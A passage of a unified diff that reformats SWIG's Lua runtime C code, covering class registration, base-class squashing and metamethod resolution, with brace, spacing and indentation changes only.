SWIG_TypeQueryModule(module, module, clss->base_names[i]); + if (info) clss->bases[i] = (swig_lua_class *) info->clientdata; + } } - } } #if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* Merges two tables */ -SWIGINTERN void SWIG_Lua_merge_tables_by_index(lua_State *L, int target, int source) -{ - /* iterating */ - lua_pushnil(L); - while (lua_next(L,source) != 0) { - /* -1 - value, -2 - index */ - /* have to copy to assign */ - lua_pushvalue(L,-2); /* copy of index */ - lua_pushvalue(L,-2); /* copy of value */ - lua_rawset(L, target); - lua_pop(L,1); - /* only key is left */ - } +SWIGINTERN void SWIG_Lua_merge_tables_by_index(lua_State *L, int target, int source) { + /* iterating */ + lua_pushnil(L); + while (lua_next(L, source) != 0) { + /* -1 - value, -2 - index */ + /* have to copy to assign */ + lua_pushvalue(L, -2); /* copy of index */ + lua_pushvalue(L, -2); /* copy of value */ + lua_rawset(L, target); + lua_pop(L, 1); + /* only key is left */ + } } /* Merges two tables with given name. original - index of target metatable, base - index of source metatable */ -SWIGINTERN void SWIG_Lua_merge_tables(lua_State *L, const char* name, int original, int base) -{ - /* push original[name], then base[name] */ - lua_pushstring(L,name); - lua_rawget(L,original); - int original_table = lua_gettop(L); - lua_pushstring(L,name); - lua_rawget(L,base); - int base_table = lua_gettop(L); - SWIG_Lua_merge_tables_by_index(L, original_table, base_table); - /* clearing stack */ - lua_pop(L,2); +SWIGINTERN void SWIG_Lua_merge_tables(lua_State *L, const char *name, int original, int base) { + /* push original[name], then base[name] */ + lua_pushstring(L, name); + lua_rawget(L, original); + int original_table = lua_gettop(L); + lua_pushstring(L, name); + lua_rawget(L, base); + int base_table = lua_gettop(L); + SWIG_Lua_merge_tables_by_index(L, original_table, base_table); + /* clearing stack */ + lua_pop(L, 2); } /* Function takes all symbols from base and adds it to derived class. It's just a helper. */ -SWIGINTERN void SWIG_Lua_class_squash_base(lua_State *L, swig_lua_class *base_cls) -{ - /* There is one parameter - original, i.e. 'derived' class metatable */ - assert(lua_istable(L,-1)); - int original = lua_gettop(L); - SWIG_Lua_get_class_metatable(L,base_cls->fqname); - int base = lua_gettop(L); - SWIG_Lua_merge_tables(L, ".fn", original, base ); - SWIG_Lua_merge_tables(L, ".set", original, base ); - SWIG_Lua_merge_tables(L, ".get", original, base ); - lua_pop(L,1); +SWIGINTERN void SWIG_Lua_class_squash_base(lua_State *L, swig_lua_class *base_cls) { + /* There is one parameter - original, i.e. 'derived' class metatable */ + assert(lua_istable(L, -1)); + int original = lua_gettop(L); + SWIG_Lua_get_class_metatable(L, base_cls->fqname); + int base = lua_gettop(L); + SWIG_Lua_merge_tables(L, ".fn", original, base); + SWIG_Lua_merge_tables(L, ".set", original, base); + SWIG_Lua_merge_tables(L, ".get", original, base); + lua_pop(L, 1); } /* Function squashes all symbols from 'clss' bases into itself */ -SWIGINTERN void SWIG_Lua_class_squash_bases(lua_State *L, swig_lua_class *clss) -{ - int i; - SWIG_Lua_get_class_metatable(L,clss->fqname); - for(i=0;clss->base_names[i];i++) - { - if (clss->bases[i]==0) /* Somehow it's not found. Skip it */ - continue; - /* Thing is: all bases are already registered. Thus they have already executed - * this function. So we just need to squash them into us, because their bases - * are already squashed into them. No need for recursion here! - */ - SWIG_Lua_class_squash_base(L, clss->bases[i]); - } - lua_pop(L,1); /*tidy stack*/ +SWIGINTERN void SWIG_Lua_class_squash_bases(lua_State *L, swig_lua_class *clss) { + int i; + SWIG_Lua_get_class_metatable(L, clss->fqname); + for (i = 0; clss->base_names[i]; i++) { + if (clss->bases[i] == 0) /* Somehow it's not found. Skip it */ + continue; + /* Thing is: all bases are already registered. Thus they have already executed + * this function. So we just need to squash them into us, because their bases + * are already squashed into them. No need for recursion here! + */ + SWIG_Lua_class_squash_base(L, clss->bases[i]); + } + lua_pop(L, 1); /*tidy stack*/ } #endif #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) /* In elua this is useless */ /* helper add a variable to a registered class */ -SWIGINTERN void SWIG_Lua_add_variable(lua_State *L,const char *name,lua_CFunction getFn,lua_CFunction setFn) -{ - assert(lua_istable(L,-1)); /* just in case */ - SWIG_Lua_get_table(L,".get"); /* find the .get table */ - assert(lua_istable(L,-1)); /* just in case */ - SWIG_Lua_add_function(L,name,getFn); - lua_pop(L,1); /* tidy stack (remove table) */ - if (setFn) - { - SWIG_Lua_get_table(L,".set"); /* find the .set table */ - assert(lua_istable(L,-1)); /* just in case */ - SWIG_Lua_add_function(L,name,setFn); - lua_pop(L,1); /* tidy stack (remove table) */ - } +SWIGINTERN void SWIG_Lua_add_variable(lua_State *L, const char *name, lua_CFunction getFn, lua_CFunction setFn) { + assert(lua_istable(L, -1)); /* just in case */ + SWIG_Lua_get_table(L, ".get"); /* find the .get table */ + assert(lua_istable(L, -1)); /* just in case */ + SWIG_Lua_add_function(L, name, getFn); + lua_pop(L, 1); /* tidy stack (remove table) */ + if (setFn) { + SWIG_Lua_get_table(L, ".set"); /* find the .set table */ + assert(lua_istable(L, -1)); /* just in case */ + SWIG_Lua_add_function(L, name, setFn); + lua_pop(L, 1); /* tidy stack (remove table) */ + } } /* helper to recursively add class static details (static attributes, operations and constants) */ -SWIGINTERN void SWIG_Lua_add_class_static_details(lua_State *L, swig_lua_class *clss) -{ - int i = 0; - /* The class namespace table must be on the top of the stack */ - assert(lua_istable(L,-1)); - /* call all the base classes first: we can then override these later: */ - for(i=0;clss->bases[i];i++) - { - SWIG_Lua_add_class_static_details(L,clss->bases[i]); - } +SWIGINTERN void SWIG_Lua_add_class_static_details(lua_State *L, swig_lua_class *clss) { + int i = 0; + /* The class namespace table must be on the top of the stack */ + assert(lua_istable(L, -1)); + /* call all the base classes first: we can then override these later: */ + for (i = 0; clss->bases[i]; i++) { + SWIG_Lua_add_class_static_details(L, clss->bases[i]); + } - SWIG_Lua_add_namespace_details(L, clss->cls_static); + SWIG_Lua_add_namespace_details(L, clss->cls_static); } SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss); /* forward declaration */ /* helper to recursively add class details (attributes & operations) */ -SWIGINTERN void SWIG_Lua_add_class_instance_details(lua_State *L, swig_lua_class *clss) -{ - int i; - size_t bases_count = 0; - /* Add bases to .bases table */ - SWIG_Lua_get_table(L,".bases"); - assert(lua_istable(L,-1)); /* just in case */ - for(i=0;clss->bases[i];i++) - { - SWIG_Lua_get_class_metatable(L,clss->bases[i]->fqname); - /* Base class must be already registered */ - assert(lua_istable(L,-1)); - lua_rawseti(L,-2,i+1); /* In lua indexing starts from 1 */ - bases_count++; - } - assert(lua_rawlen(L,-1) == bases_count); - lua_pop(L,1); /* remove .bases table */ - /* add attributes */ - for(i=0;clss->attributes[i].name;i++){ - SWIG_Lua_add_variable(L,clss->attributes[i].name,clss->attributes[i].getmethod,clss->attributes[i].setmethod); - } - /* add methods to the metatable */ - SWIG_Lua_get_table(L,".fn"); /* find the .fn table */ - assert(lua_istable(L,-1)); /* just in case */ - for(i=0;clss->methods[i].name;i++){ - SWIG_Lua_add_function(L,clss->methods[i].name,clss->methods[i].func); - } - lua_pop(L,1); /* tidy stack (remove table) */ - /* add operator overloads - This adds methods from metatable array to metatable. Can mess up garbage - collectind if someone defines __gc method - */ - if(clss->metatable) { - for(i=0;clss->metatable[i].name;i++) { - SWIG_Lua_add_function(L,clss->metatable[i].name,clss->metatable[i].func); +SWIGINTERN void SWIG_Lua_add_class_instance_details(lua_State *L, swig_lua_class *clss) { + int i; + size_t bases_count = 0; + /* Add bases to .bases table */ + SWIG_Lua_get_table(L, ".bases"); + assert(lua_istable(L, -1)); /* just in case */ + for (i = 0; clss->bases[i]; i++) { + SWIG_Lua_get_class_metatable(L, clss->bases[i]->fqname); + /* Base class must be already registered */ + assert(lua_istable(L, -1)); + lua_rawseti(L, -2, i + 1); /* In lua indexing starts from 1 */ + bases_count++; + } + assert(lua_rawlen(L, -1) == bases_count); + lua_pop(L, 1); /* remove .bases table */ + /* add attributes */ + for (i = 0; clss->attributes[i].name; i++) { + SWIG_Lua_add_variable(L, clss->attributes[i].name, clss->attributes[i].getmethod, clss->attributes[i].setmethod); + } + /* add methods to the metatable */ + SWIG_Lua_get_table(L, ".fn"); /* find the .fn table */ + assert(lua_istable(L, -1)); /* just in case */ + for (i = 0; clss->methods[i].name; i++) { + SWIG_Lua_add_function(L, clss->methods[i].name, clss->methods[i].func); + } + lua_pop(L, 1); /* tidy stack (remove table) */ + /* add operator overloads + This adds methods from metatable array to metatable. Can mess up garbage + collectind if someone defines __gc method + */ + if (clss->metatable) { + for (i = 0; clss->metatable[i].name; i++) { + SWIG_Lua_add_function(L, clss->metatable[i].name, clss->metatable[i].func); + } } - } #if !defined(SWIG_LUA_SQUASH_BASES) - /* Adding metamethods that are defined in base classes. If bases were squashed - * then it is obviously unnecessary - */ - SWIG_Lua_add_class_user_metamethods(L, clss); + /* Adding metamethods that are defined in base classes. If bases were squashed + * then it is obviously unnecessary + */ + SWIG_Lua_add_class_user_metamethods(L, clss); #endif } @@ -2137,70 +2089,67 @@ SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L); /*forward declaration * SWIG_Lua_resolve_metamethod * */ SWIGINTERN int SWIG_Lua_do_resolve_metamethod(lua_State *L, const swig_lua_class *clss, int metamethod_name_idx, - int skip_check) -{ - /* This function is called recursively */ - int result = 0; - int i = 0; + int skip_check) { + /* This function is called recursively */ + int result = 0; + int i = 0; - if (!skip_check) { - SWIG_Lua_get_class_metatable(L, clss->fqname); - lua_pushvalue(L, metamethod_name_idx); - lua_rawget(L,-2); - /* If this is cfunction and it is equal to SWIG_Lua_resolve_metamethod then - * this isn't the function we are looking for :) - * lua_tocfunction will return NULL if not cfunction - */ - if (!lua_isnil(L,-1) && lua_tocfunction(L,-1) != SWIG_Lua_resolve_metamethod ) { - lua_remove(L,-2); /* removing class metatable */ - return 1; + if (!skip_check) { + SWIG_Lua_get_class_metatable(L, clss->fqname); + lua_pushvalue(L, metamethod_name_idx); + lua_rawget(L, -2); + /* If this is cfunction and it is equal to SWIG_Lua_resolve_metamethod then + * this isn't the function we are looking for :) + * lua_tocfunction will return NULL if not cfunction + */ + if (!lua_isnil(L, -1) && lua_tocfunction(L, -1) != SWIG_Lua_resolve_metamethod) { + lua_remove(L, -2); /* removing class metatable */ + return 1; + } + lua_pop(L, 2); /* remove class metatable and query result */ } - lua_pop(L,2); /* remove class metatable and query result */ - } - /* Forwarding calls to bases */ - for(i=0;clss->bases[i];i++) - { - result = SWIG_Lua_do_resolve_metamethod(L, clss->bases[i], metamethod_name_idx, 0); - if (result) - break; - } + /* Forwarding calls to bases */ + for (i = 0; clss->bases[i]; i++) { + result = SWIG_Lua_do_resolve_metamethod(L, clss->bases[i], metamethod_name_idx, 0); + if (result) + break; + } - return result; + return result; } /* The proxy function for metamethod. All parameters are passed as cclosure. Searches for actual method * and calls it */ -SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) -{ - int numargs; - int metamethod_name_idx; - const swig_lua_class* clss; - int result; +SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) { + int numargs; + int metamethod_name_idx; + const swig_lua_class *clss; + int result; - lua_checkstack(L,5); - numargs = lua_gettop(L); /* number of arguments to pass to actual metamethod */ + lua_checkstack(L, 5); + numargs = lua_gettop(L); /* number of arguments to pass to actual metamethod */ - /* Get upvalues from closure */ - lua_pushvalue(L, lua_upvalueindex(1)); /*Get function name*/ - metamethod_name_idx = lua_gettop(L); + /* Get upvalues from closure */ + lua_pushvalue(L, lua_upvalueindex(1)); /*Get function name*/ + metamethod_name_idx = lua_gettop(L); - lua_pushvalue(L, lua_upvalueindex(2)); - clss = (const swig_lua_class*)(lua_touserdata(L,-1)); - lua_pop(L,1); /* remove lightuserdata with clss from stack */ + lua_pushvalue(L, lua_upvalueindex(2)); + clss = (const swig_lua_class *)(lua_touserdata(L, -1)); + lua_pop(L, 1); /* remove lightuserdata with clss from stack */ - /* Actual work */ - result = SWIG_Lua_do_resolve_metamethod(L, clss, metamethod_name_idx, 1); - if (!result) { - SWIG_Lua_pushferrstring(L,"The metamethod proxy is set, but it failed to find actual metamethod. Memory corruption is most likely explanation."); - lua_error(L); - return 0; - } + /* Actual work */ + result = SWIG_Lua_do_resolve_metamethod(L, clss, metamethod_name_idx, 1); + if (!result) { + SWIG_Lua_pushferrstring(L, "The metamethod proxy is set, but it failed to find actual metamethod. Memory corruption is most likely explanation."); + lua_error(L); + return 0; + } - lua_remove(L,-2); /* remove metamethod key */ - lua_insert(L,1); /* move function to correct position */ - lua_call(L, numargs, LUA_MULTRET); - return lua_gettop(L); /* return all results */ + lua_remove(L, -2); /* remove metamethod key */ + lua_insert(L, 1); /* move function to correct position */ + lua_call(L, numargs, LUA_MULTRET); + return lua_gettop(L); /* return all results */ } @@ -2208,292 +2157,281 @@ SWIGRUNTIME int SWIG_Lua_resolve_metamethod(lua_State *L) * Returns 1 if successfully added, 0 if not added because no base class has it, -1 * if method is defined in the class metatable itself */ -SWIGINTERN int SWIG_Lua_add_class_user_metamethod(lua_State *L, swig_lua_class *clss, const int metatable_index) -{ - int key_index; - int success = 0; - int i = 0; +SWIGINTERN int SWIG_Lua_add_class_user_metamethod(lua_State *L, swig_lua_class *clss, const int metatable_index) { + int key_index; + int success = 0; + int i = 0; - /* metamethod name - on the top of the stack */ - assert(lua_isstring(L,-1)); + /* metamethod name - on the top of the stack */ + assert(lua_isstring(L, -1)); - key_index = lua_gettop(L); + key_index = lua_gettop(L); - /* Check whether method is already defined in metatable */ - lua_pushvalue(L,key_index); /* copy of the key */ - lua_gettable(L,metatable_index); - if( !lua_isnil(L,-1) ) { - lua_pop(L,1); - return -1; - } - lua_pop(L,1); - - /* Iterating over immediate bases */ - for(i=0;clss->bases[i];i++) - { - const swig_lua_class *base = clss->bases[i]; - SWIG_Lua_get_class_metatable(L, base->fqname); - lua_pushvalue(L, key_index); - lua_rawget(L, -2); - if( !lua_isnil(L,-1) ) { - lua_pushvalue(L, key_index); - - /* Add proxy function */ - lua_pushvalue(L, key_index); /* first closure value is function name */ - lua_pushlightuserdata(L, clss); /* second closure value is swig_lua_class structure */ - lua_pushcclosure(L, SWIG_Lua_resolve_metamethod, 2); - - lua_rawset(L, metatable_index); - success = 1; + /* Check whether method is already defined in metatable */ + lua_pushvalue(L, key_index); /* copy of the key */ + lua_gettable(L, metatable_index); + if (!lua_isnil(L, -1)) { + lua_pop(L, 1); + return -1; } - lua_pop(L,1); /* remove function or nil */ - lua_pop(L,1); /* remove base class metatable */ + lua_pop(L, 1); - if( success ) - break; - } + /* Iterating over immediate bases */ + for (i = 0; clss->bases[i]; i++) { + const swig_lua_class *base = clss->bases[i]; + SWIG_Lua_get_class_metatable(L, base->fqname); + lua_pushvalue(L, key_index); + lua_rawget(L, -2); + if (!lua_isnil(L, -1)) { + lua_pushvalue(L, key_index); - return success; + /* Add proxy function */ + lua_pushvalue(L, key_index); /* first closure value is function name */ + lua_pushlightuserdata(L, clss); /* second closure value is swig_lua_class structure */ + lua_pushcclosure(L, SWIG_Lua_resolve_metamethod, 2); + + lua_rawset(L, metatable_index); + success = 1; + } + lua_pop(L, 1); /* remove function or nil */ + lua_pop(L, 1); /* remove base class metatable */ + + if (success) + break; + } + + return success; } -SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss) -{ - int metatable_index; - int metamethods_info_index; - int tostring_undefined; - int eq_undefined = 0; +SWIGINTERN void SWIG_Lua_add_class_user_metamethods(lua_State *L, swig_lua_class *clss) { + int metatable_index; + int metamethods_info_index; + int tostring_undefined; + int eq_undefined = 0; - SWIG_Lua_get_class_metatable(L, clss->fqname); - metatable_index = lua_gettop(L); - SWIG_Lua_get_inheritable_metamethods(L); - assert(lua_istable(L,-1)); - metamethods_info_index = lua_gettop(L); - lua_pushnil(L); /* first key */ - while(lua_next(L, metamethods_info_index) != 0 ) { - /* key at index -2, value at index -1 */ - const int is_inheritable = lua_toboolean(L,-2); - lua_pop(L,1); /* remove value - we don't need it anymore */ + SWIG_Lua_get_class_metatable(L, clss->fqname); + metatable_index = lua_gettop(L); + SWIG_Lua_get_inheritable_metamethods(L); + assert(lua_istable(L, -1)); + metamethods_info_index = lua_gettop(L); + lua_pushnil(L); /* first key */ + while (lua_next(L, metamethods_info_index) != 0) { + /* key at index -2, value at index -1 */ + const int is_inheritable = lua_toboolean(L, -2); + lua_pop(L, 1); /* remove value - we don't need it anymore */ - if(is_inheritable) { /* if metamethod is inheritable */ - SWIG_Lua_add_class_user_metamethod(L,clss,metatable_index); + if (is_inheritable) { /* if metamethod is inheritable */ + SWIG_Lua_add_class_user_metamethod(L, clss, metatable_index); + } } - } - lua_pop(L,1); /* remove inheritable metamethods table */ + lua_pop(L, 1); /* remove inheritable metamethods table */ - /* Special handling for __tostring method */ - lua_pushstring(L, "__tostring"); - lua_pushvalue(L,-1); - lua_rawget(L,metatable_index); - tostring_undefined = lua_isnil(L,-1); - lua_pop(L,1); - if( tostring_undefined ) { - lua_pushcfunction(L, SWIG_Lua_class_tostring); - lua_rawset(L, metatable_index); - } else { - lua_pop(L,1); /* remove copy of the key */ - } + /* Special handling for __tostring method */ + lua_pushstring(L, "__tostring"); + lua_pushvalue(L, -1); + lua_rawget(L, metatable_index); + tostring_undefined = lua_isnil(L, -1); + lua_pop(L, 1); + if (tostring_undefined) { + lua_pushcfunction(L, SWIG_Lua_class_tostring); + lua_rawset(L, metatable_index); + } else { + lua_pop(L, 1); /* remove copy of the key */ + } - /* Special handling for __eq method */ - lua_pushstring(L, "__eq"); - lua_pushvalue(L,-1); - lua_rawget(L,metatable_index); - eq_undefined = lua_isnil(L,-1); - lua_pop(L,1); - if( eq_undefined ) { - lua_pushcfunction(L, SWIG_Lua_class_equal); - lua_rawset(L, metatable_index); - } else { - lua_pop(L,1); /* remove copy of the key */ - } - /* Warning: __index and __newindex are SWIG-defined. For user-defined operator[] - * a __getitem/__setitem method should be defined - */ - lua_pop(L,1); /* pop class metatable */ + /* Special handling for __eq method */ + lua_pushstring(L, "__eq"); + lua_pushvalue(L, -1); + lua_rawget(L, metatable_index); + eq_undefined = lua_isnil(L, -1); + lua_pop(L, 1); + if (eq_undefined) { + lua_pushcfunction(L, SWIG_Lua_class_equal); + lua_rawset(L, metatable_index); + } else { + lua_pop(L, 1); /* remove copy of the key */ + } + /* Warning: __index and __newindex are SWIG-defined. For user-defined operator[] + * a __getitem/__setitem method should be defined + */ + lua_pop(L, 1); /* pop class metatable */ } /* Register class static methods,attributes etc as well as constructor proxy */ -SWIGINTERN void SWIG_Lua_class_register_static(lua_State *L, swig_lua_class *clss) -{ - const int SWIGUNUSED begin = lua_gettop(L); - lua_checkstack(L,5); /* just in case */ - assert(lua_istable(L,-1)); /* just in case */ - assert(strcmp(clss->name, clss->cls_static->name) == 0); /* in class those 2 must be equal */ +SWIGINTERN void SWIG_Lua_class_register_static(lua_State *L, swig_lua_class *clss) { + const int SWIGUNUSED begin = lua_gettop(L); + lua_checkstack(L, 5); /* just in case */ + assert(lua_istable(L, -1)); /* just in case */ + assert(strcmp(clss->name, clss->cls_static->name) == 0); /* in class those 2 must be equal */ - SWIG_Lua_namespace_register(L,clss->cls_static, 1); + SWIG_Lua_namespace_register(L, clss->cls_static, 1); - assert(lua_istable(L,-1)); /* just in case */ + assert(lua_istable(L, -1)); /* just in case */ - /* add its constructor to module with the name of the class - so you can do MyClass(...) as well as new_MyClass(...) - BUT only if a constructor is defined - (this overcomes the problem of pure virtual classes without constructors)*/ - if (clss->constructor) - { - lua_getmetatable(L,-1); - assert(lua_istable(L,-1)); /* just in case */ - SWIG_Lua_add_function(L,"__call", clss->constructor); - lua_pop(L,1); - } + /* add its constructor to module with the name of the class + so you can do MyClass(...) as well as new_MyClass(...) + BUT only if a constructor is defined + (this overcomes the problem of pure virtual classes without constructors)*/ + if (clss->constructor) { + lua_getmetatable(L, -1); + assert(lua_istable(L, -1)); /* just in case */ + SWIG_Lua_add_function(L, "__call", clss->constructor); + lua_pop(L, 1); + } - assert(lua_istable(L,-1)); /* just in case */ - SWIG_Lua_add_class_static_details(L, clss); + assert(lua_istable(L, -1)); /* just in case */ + SWIG_Lua_add_class_static_details(L, clss); - /* clear stack */ - lua_pop(L,1); - assert( lua_gettop(L) == begin ); + /* clear stack */ + lua_pop(L, 1); + assert(lua_gettop(L) == begin); } /* Performs the instance (non-static) class registration process. Metatable for class is created * and added to the class registry. */ -SWIGINTERN void SWIG_Lua_class_register_instance(lua_State *L,swig_lua_class *clss) -{ - const int SWIGUNUSED begin = lua_gettop(L); - int i; - /* if name already there (class is already registered) then do nothing */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L,clss->fqname); /* get the name */ - lua_rawget(L,-2); - if(!lua_isnil(L,-1)) { - lua_pop(L,2); - assert(lua_gettop(L)==begin); - return; - } - lua_pop(L,2); /* tidy stack */ - /* Recursively initialize all bases */ - for(i=0;clss->bases[i];i++) - { - SWIG_Lua_class_register_instance(L,clss->bases[i]); - } - /* Again, get registry and push name */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L,clss->fqname); /* get the name */ - lua_newtable(L); /* create the metatable */ -#if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - /* If squashing is requested, then merges all bases metatable into this one. - * It would get us all special methods: __getitem, __add etc. - * This would set .fn, .type, and other .xxx incorrectly, but we will overwrite it right away - */ - { - int new_metatable_index = lua_absindex(L,-1); - for(i=0;clss->bases[i];i++) - { - int base_metatable; - SWIG_Lua_get_class_metatable(L,clss->bases[i]->fqname); - base_metatable = lua_absindex(L,-1); - SWIG_Lua_merge_tables_by_index(L,new_metatable_index, base_metatable); - lua_pop(L,1); +SWIGINTERN void SWIG_Lua_class_register_instance(lua_State *L, swig_lua_class *clss) { + const int SWIGUNUSED begin = lua_gettop(L); + int i; + /* if name already there (class is already registered) then do nothing */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L, clss->fqname); /* get the name */ + lua_rawget(L, -2); + if (!lua_isnil(L, -1)) { + lua_pop(L, 2); + assert(lua_gettop(L) == begin); + return; } - } - /* And now we will overwrite all incorrectly set data */ + lua_pop(L, 2); /* tidy stack */ + /* Recursively initialize all bases */ + for (i = 0; clss->bases[i]; i++) { + SWIG_Lua_class_register_instance(L, clss->bases[i]); + } + /* Again, get registry and push name */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L, clss->fqname); /* get the name */ + lua_newtable(L); /* create the metatable */ +#if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) + /* If squashing is requested, then merges all bases metatable into this one. + * It would get us all special methods: __getitem, __add etc. + * This would set .fn, .type, and other .xxx incorrectly, but we will overwrite it right away + */ + { + int new_metatable_index = lua_absindex(L, -1); + for (i = 0; clss->bases[i]; i++) { + int base_metatable; + SWIG_Lua_get_class_metatable(L, clss->bases[i]->fqname); + base_metatable = lua_absindex(L, -1); + SWIG_Lua_merge_tables_by_index(L, new_metatable_index, base_metatable); + lua_pop(L, 1); + } + } + /* And now we will overwrite all incorrectly set data */ #endif - /* add string of class name called ".type" */ - lua_pushstring(L,".type"); - lua_pushstring(L,clss->fqname); - lua_rawset(L,-3); - /* add a table called bases */ - lua_pushstring(L,".bases"); - lua_newtable(L); - lua_rawset(L,-3); - /* add a table called ".get" */ - lua_pushstring(L,".get"); - lua_newtable(L); - lua_rawset(L,-3); - /* add a table called ".set" */ - lua_pushstring(L,".set"); - lua_newtable(L); - lua_rawset(L,-3); - /* add a table called ".fn" */ - lua_pushstring(L,".fn"); - lua_newtable(L); - /* add manual disown method */ - SWIG_Lua_add_function(L,"__disown",SWIG_Lua_class_disown); - lua_rawset(L,-3); - /* add accessor fns for using the .get,.set&.fn */ - SWIG_Lua_add_function(L,"__index",SWIG_Lua_class_get); - SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_class_set); - SWIG_Lua_add_function(L,"__gc",SWIG_Lua_class_destruct); - /* add it */ - lua_rawset(L,-3); /* metatable into registry */ - lua_pop(L,1); /* tidy stack (remove registry) */ - assert(lua_gettop(L) == begin); + /* add string of class name called ".type" */ + lua_pushstring(L, ".type"); + lua_pushstring(L, clss->fqname); + lua_rawset(L, -3); + /* add a table called bases */ + lua_pushstring(L, ".bases"); + lua_newtable(L); + lua_rawset(L, -3); + /* add a table called ".get" */ + lua_pushstring(L, ".get"); + lua_newtable(L); + lua_rawset(L, -3); + /* add a table called ".set" */ + lua_pushstring(L, ".set"); + lua_newtable(L); + lua_rawset(L, -3); + /* add a table called ".fn" */ + lua_pushstring(L, ".fn"); + lua_newtable(L); + /* add manual disown method */ + SWIG_Lua_add_function(L, "__disown", SWIG_Lua_class_disown); + lua_rawset(L, -3); + /* add accessor fns for using the .get,.set&.fn */ + SWIG_Lua_add_function(L, "__index", SWIG_Lua_class_get); + SWIG_Lua_add_function(L, "__newindex", SWIG_Lua_class_set); + SWIG_Lua_add_function(L, "__gc", SWIG_Lua_class_destruct); + /* add it */ + lua_rawset(L, -3); /* metatable into registry */ + lua_pop(L, 1); /* tidy stack (remove registry) */ + assert(lua_gettop(L) == begin); #if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - /* Now merge all symbols from .fn, .set, .get etc from bases to our tables */ - SWIG_Lua_class_squash_bases(L,clss); + /* Now merge all symbols from .fn, .set, .get etc from bases to our tables */ + SWIG_Lua_class_squash_bases(L, clss); #endif - SWIG_Lua_get_class_metatable(L,clss->fqname); - SWIG_Lua_add_class_instance_details(L,clss); /* recursive adding of details (atts & ops) */ - lua_pop(L,1); /* tidy stack (remove class metatable) */ - assert( lua_gettop(L) == begin ); + SWIG_Lua_get_class_metatable(L, clss->fqname); + SWIG_Lua_add_class_instance_details(L, clss); /* recursive adding of details (atts & ops) */ + lua_pop(L, 1); /* tidy stack (remove class metatable) */ + assert(lua_gettop(L) == begin); } -SWIGINTERN void SWIG_Lua_class_register(lua_State *L,swig_lua_class *clss) -{ - int SWIGUNUSED begin; - assert(lua_istable(L,-1)); /* This is a table (module or namespace) where classes will be added */ - SWIG_Lua_class_register_instance(L,clss); - SWIG_Lua_class_register_static(L,clss); +SWIGINTERN void SWIG_Lua_class_register(lua_State *L, swig_lua_class *clss) { + int SWIGUNUSED begin; + assert(lua_istable(L, -1)); /* This is a table (module or namespace) where classes will be added */ + SWIG_Lua_class_register_instance(L, clss); + SWIG_Lua_class_register_static(L, clss); - /* Add links from static part to instance part and vice versa */ - /* [SWIG registry] [Module] - * "MyClass" ----> [MyClass metatable] <===== "MyClass" -+> [static part] - * ".get" ----> ... | | getmetatable()----| - * ".set" ----> ... | | | - * ".static" --------------)----------------/ [static part metatable] - * | ".get" --> ... - * | ".set" --> .... - * |=============================== ".instance" - */ - begin = lua_gettop(L); - lua_pushstring(L,clss->cls_static->name); - lua_rawget(L,-2); /* get class static table */ - assert(lua_istable(L,-1)); - lua_getmetatable(L,-1); - assert(lua_istable(L,-1)); /* get class static metatable */ - lua_pushstring(L,".instance"); /* prepare key */ + /* Add links from static part to instance part and vice versa */ + /* [SWIG registry] [Module] + * "MyClass" ----> [MyClass metatable] <===== "MyClass" -+> [static part] + * ".get" ----> ... | | getmetatable()----| + * ".set" ----> ... | | | + * ".static" --------------)----------------/ [static part metatable] + * | ".get" --> ... + * | ".set" --> .... + * |=============================== ".instance" + */ + begin = lua_gettop(L); + lua_pushstring(L, clss->cls_static->name); + lua_rawget(L, -2); /* get class static table */ + assert(lua_istable(L, -1)); + lua_getmetatable(L, -1); + assert(lua_istable(L, -1)); /* get class static metatable */ + lua_pushstring(L, ".instance"); /* prepare key */ - SWIG_Lua_get_class_metatable(L,clss->fqname); /* get class metatable */ - assert(lua_istable(L,-1)); - lua_pushstring(L,".static"); /* prepare key */ - lua_pushvalue(L, -4); /* push static class TABLE */ - assert(lua_istable(L,-1)); - lua_rawset(L,-3); /* assign static class table(!NOT metatable) as ".static" member of class metatable */ - lua_rawset(L,-3); /* assign class metatable as ".instance" member of class static METATABLE */ - lua_pop(L,2); - assert(lua_gettop(L) == begin); + SWIG_Lua_get_class_metatable(L, clss->fqname); /* get class metatable */ + assert(lua_istable(L, -1)); + lua_pushstring(L, ".static"); /* prepare key */ + lua_pushvalue(L, -4); /* push static class TABLE */ + assert(lua_istable(L, -1)); + lua_rawset(L, -3); /* assign static class table(!NOT metatable) as ".static" member of class metatable */ + lua_rawset(L, -3); /* assign class metatable as ".instance" member of class static METATABLE */ + lua_pop(L, 2); + assert(lua_gettop(L) == begin); } #endif /* SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA */ #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) -SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_class *clss) -{ - const int SWIGUNUSED begin = lua_gettop(L); - int i; - /* if name already there (class is already registered) then do nothing */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L,clss->fqname); /* get the name */ - lua_rawget(L,-2); - if(!lua_isnil(L,-1)) { - lua_pop(L,2); - assert(lua_gettop(L)==begin); - return; - } - lua_pop(L,2); /* tidy stack */ - /* Recursively initialize all bases */ - for(i=0;clss->bases[i];i++) - { - SWIG_Lua_elua_class_register_instance(L,clss->bases[i]); - } - /* Again, get registry and push name */ - SWIG_Lua_get_class_registry(L); /* get the registry 